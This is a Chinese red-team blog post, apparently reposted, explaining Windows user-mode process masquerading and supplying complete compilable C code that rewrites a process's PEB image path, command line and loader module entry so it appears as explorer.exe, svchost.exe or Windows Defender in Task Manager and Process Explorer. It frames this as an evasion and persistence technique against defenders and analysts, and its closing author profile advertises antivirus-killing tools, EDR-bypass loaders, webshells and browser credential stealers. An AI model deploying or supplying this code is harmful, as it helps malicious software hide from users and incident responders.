文章总结: 本文详细解析Windows用户态(R3)进程伪装技术,通过修改PEB结构中的镜像路径、命令行参数及LDR模块链表,实现进程在任务管理器等工具中伪装成系统进程。核心代码演示了如何伪装为explorer.exe,并明确该技术仅能欺骗用户态检测工具,无法绕过内核级查询。文章提供了实战代码与验证方法,适用于红队免杀、权限维持等场景。 综合评分: 88 文章分类: 红队,免杀,内网渗透,逆向分析,Windows安全
《Windows红队免杀进阶:R3进程伪装,从原理到代码实战》
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年3月22日 17:21 北京
#
今天带来一节硬核干货:Windows用户态(R3)进程伪装。
这是红队免杀、权限维持、对抗EDR的核心技能之一。 学会它,你的程序可以在任务管理器、Process Explorer里“摇身一变”,伪装成 explorer.exe、svchost.exe 等系统进程。
本文从原理、结构、代码、检测、实战全链路讲透,建议收藏反复看。
一、先搞懂:什么是R3进程伪装?
简单说: 在Ring3用户态下,修改进程PEB结构,欺骗用户态工具显示假的进程名与路径。
作用:
- • 绕过基于进程名的白名单检测
- • 伪装成系统进程降低用户警惕
- • 混淆安全分析人员溯源
它不是万能的,但在对抗用户态检测时,效果立竿见影。
二、核心前置:R0/R3、PEB、TEB 到底是什么?
先把基础概念捋清楚,代码才不懵。
1. 权限层级
- • R0(Ring0):内核态,操作系统内核,最高权限
- • R3(Ring3):用户态,普通应用程序运行环境,我们的主战场
2. 关键结构体
- • TEB(Thread Environment Block):线程环境块,通过
fs:[0x30](32位) /gs:[0x60](64位) 找到 PEB - • PEB(Process Environment Block):进程环境块,保存进程路径、命令行、加载模块等信息
- • Ldr:加载器数据,管理已加载模块的三条链表
任务管理器显示的“进程路径/命令行”,本质就是读PEB里的字段。 改了PEB,它就被骗了。
三、PEB结构:我们要改哪几个字段?
进程伪装的核心,就是修改这两个结构:
1. RTL_USER_PROCESS_PARAMETERS
里面两个关键成员:
- •
ImagePathName:进程镜像路径 - •
CommandLine:命令行参数
2. LDR模块链表
三条链表:
- • InLoadOrderModuleList
- • InMemoryOrderModuleList
- • InInitializationOrderModuleList
完美伪装,需要同时修改主模块在链表中的名称。
四、实战代码:可直接编译运行(C/C++)
下面是带详细注释、兼容x86/x64的完整实现,伪装成 explorer.exe。
(代码块可直接复制到VS/MinGW编译)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
PPEB GetPEB() {
#ifdef _WIN64
return (PPEB)__readgsqword(0x60);
#else
return (PPEB)__readfsdword(0x30);
#endif
}
void SetUnicodeString(PUNICODE_STRING dest, LPCWSTR src) {
DWORD len = (DWORD)wcslen(src) * sizeof(WCHAR);
dest->Length = (USHORT)len;
dest->MaximumLength = (USHORT)(len + sizeof(WCHAR));
memcpy(dest->Buffer, src, len + sizeof(WCHAR));
}
BOOL MasqueradeProcess(LPCWSTR szFakePath, LPCWSTR szFakeCommandLine) {
PPEB pPeb = GetPEB();
if (!pPeb) return FALSE;
PRTL_USER_PROCESS_PARAMETERS pParams = pPeb->ProcessParameters;
if (!pParams) return FALSE;
if (szFakePath)
SetUnicodeString(&pParams->ImagePathName, szFakePath);
if (szFakeCommandLine)
SetUnicodeString(&pParams->CommandLine, szFakeCommandLine);
PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr;
PLIST_ENTRY pListEntry = pLdr->InLoadOrderModuleList.Flink;
PMY_LDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(
pListEntry, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (szFakePath) {
SetUnicodeString(&pEntry->FullDllName, szFakePath);
LPCWSTR pFileName = wcsrchr(szFakePath, L'\\');
if (pFileName)
SetUnicodeString(&pEntry->BaseDllName, pFileName + 1);
}
return TRUE;
}
int main() {
printf("PID: %lu\n", GetCurrentProcessId());
MasqueradeProcess(
L"C:\\Windows\\explorer.exe",
L"C:\\Windows\\explorer.exe"
);
getchar();
return 0;
}
五、怎么验证伪装成功?
用两款神器即可:
1. Process Explorer
- • 找到你的PID
- • 看 Image Path / Command Line
- • 已经变成 explorer.exe
2. WinDbg 查看PEB
!peb
du poi(poi(@$peb+0x20)+0x60)
能直接看到你伪造的路径。
六、关键认知:R3伪装能骗过谁,骗不过谁?
这是很多新手踩坑的地方,一定要记牢:
✅ 可绕过(用户态读取PEB)
- • 任务管理器
- • Process Explorer / Process Hacker
- • GetModuleFileName
- • GetCommandLine
❌ 无法绕过(内核态查询)
- • QueryFullProcessImageName
- • ZwQueryInformationProcess
- • EDR内核回调
结论: R3进程伪装是欺骗层工具,不是对抗内核检测的银弹。 想彻底绕过内核级检测,需要配合驱动(R0)或其他高级手法。
七、实战拓展:你可以这样玩
- 1. 伪装成系统进程
MasqueradeProcess(
L"C:\\Windows\\System32\\svchost.exe",
L"svchost.exe -k netsvcs"
);
- 2. 伪装成安全软件
L"C:\\Program Files\\Windows Defender\\MsMpEng.exe"
关注微信公众号后台回复入群 即可加入星夜AI安全交流群
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- • win11 一键kill 360工具 InjectKill(包含源码)
- • win11 一键kill defender工具win11_df-killer(包含源码)
- • 免杀火绒6.0内存防护加载器BypassMemLoader
- • 单文件bypass 360免杀加载器
后续将不断更新到内部圈子中 欢迎加入圈子
生命的最终奥义,不过就是活得自在罢了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《《Windows红队免杀进阶:R3进程伪装,从原理到代码实战》》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论